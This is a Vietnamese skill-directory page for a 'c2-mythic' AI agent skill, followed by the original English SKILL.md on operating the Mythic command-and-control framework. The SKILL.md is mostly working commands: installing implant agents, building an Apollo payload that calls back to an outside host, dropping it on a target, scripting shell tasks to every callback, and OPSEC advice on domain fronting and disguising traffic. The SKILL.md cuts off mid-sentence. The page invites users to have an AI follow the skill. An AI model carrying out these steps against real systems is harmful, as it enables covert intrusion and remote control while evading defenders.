Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14132

c2-mythic

Skill này làm gì

Hướng dẫn này nói về framework Mythic, dùng container và nhiều loại agent cho các diễn tập được ủy quyền. Dành cho đội red team thiết lập kiểm thử đa nền tảng và người phòng thủ muốn hiểu dấu vết của nó.

Khi nào nên dùng

  • ✓Khi một diễn tập được ủy quyền cần một framework hỗ trợ nhiều hệ điều hành.
  • ✓Khi một nhóm cần biết các loại agent nào đang chạy trong môi trường thử nghiệm.
  • ✓Khi người phòng thủ muốn nhận ra các container và console mà Mythic dùng.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể giải thích cách framework Mythic được thiết lập cho diễn tập đa nền tảng được ủy quyền của chúng tôi và người phòng thủ nên tìm gì không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent giải thích các container, console web và mô-đun agent, rồi gợi ý giám sát các lưu lượng và tiến trình tương ứng.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Mythic C2 Operator Skill

Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.

Setup (one-time, on the operator server)

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh        # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install

# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo     # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon   # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa     # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena     # cross-platform .NET 6

Agent matrix

Agent Platform Lang Best for
Apollo Windows C# / .NET Framework 3.5+ Windows-heavy engagements, .NET interop
Poseidon macOS, Linux Go Cross-platform, single static binary
Athena Windows / macOS / Linux .NET 6/7/8 Modern .NET, AOT-compiled
Apfell macOS JavaScript for Automation (JXA) Native macOS execution via osascript
Medusa any Python Quick prototypes, fileless
Service Wrapper Windows C++ Persistence via Windows service

Profile matrix

Profiles = the comms channel. An agent can use one or more profiles.

Profile Transport Detection
http Plain HTTP(S) with configurable headers, paths, jitter, sleep Easiest to fingerprint; use behind redirector + domain fronting
websocket WS / WSS Long-lived; suspicious from desktop
smb Named pipe over SMB Peer-to-peer between Apollo agents — no internet needed for inner workstations
dns DNS TXT / A queries to attacker NS Slow, but bypasses every HTTP-only firewall
peer-to-peer (SMB) One agent forwards another's traffic Use for deep network — only one egress point needed
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns

Build a payload (Apollo + http profile)

# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
  --name "stage1" \
  --description "Apollo http to op-server.com" \
  --agent Apollo \
  --c2_profile http \
  --c2_profile_parameter callback_host=https://op-server.com \
  --c2_profile_parameter callback_port=443 \
  --c2_profile_parameter encrypted_exchange_check=T \
  --c2_profile_parameter callback_interval=30 \
  --c2_profile_parameter callback_jitter=20 \
  --c2_profile_parameter killdate=2025-12-31 \
  --build_parameter version=net4.0 \
  --output_file stage1.exe

# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS

Tasking from the operator

Mythic provides:

  • Web UI (callback view → click + task)
  • mythic-cli scripting (Python wrapper)
  • Direct GraphQL API at https://<host>:7443/v1/graphql
# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
    m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
    cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
    for cb in cbs:
        await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'

OPSEC defaults

  • Profile encryption: HTTP profile uses encrypted_exchange_check by default — key derived via Diffie-Hellman after the initial connect. Don't disable.
  • Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
  • Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
  • Build customization: Apollo's build config supports custom headers, paths, useragent — match the target's expected traffic pattern (Slack workspace? Use Slack-like headers
Câu hỏi thường gặp

Điều gì làm Mythic khác biệt?

Hướng dẫn nói nó có dạng mô-đun, với nhiều agent cho các hệ điều hành khác nhau.

Console nằm ở đâu?

Hướng dẫn lưu ý đó là một console web trên một cổng bảo mật ở máy chủ người vận hành.

Ai nên chạy nó?

Các đội red team được ủy quyền làm việc trong quy tắc tham gia của họ.

Chi tiết

Mô tả gốc của tác giả

Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14132
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự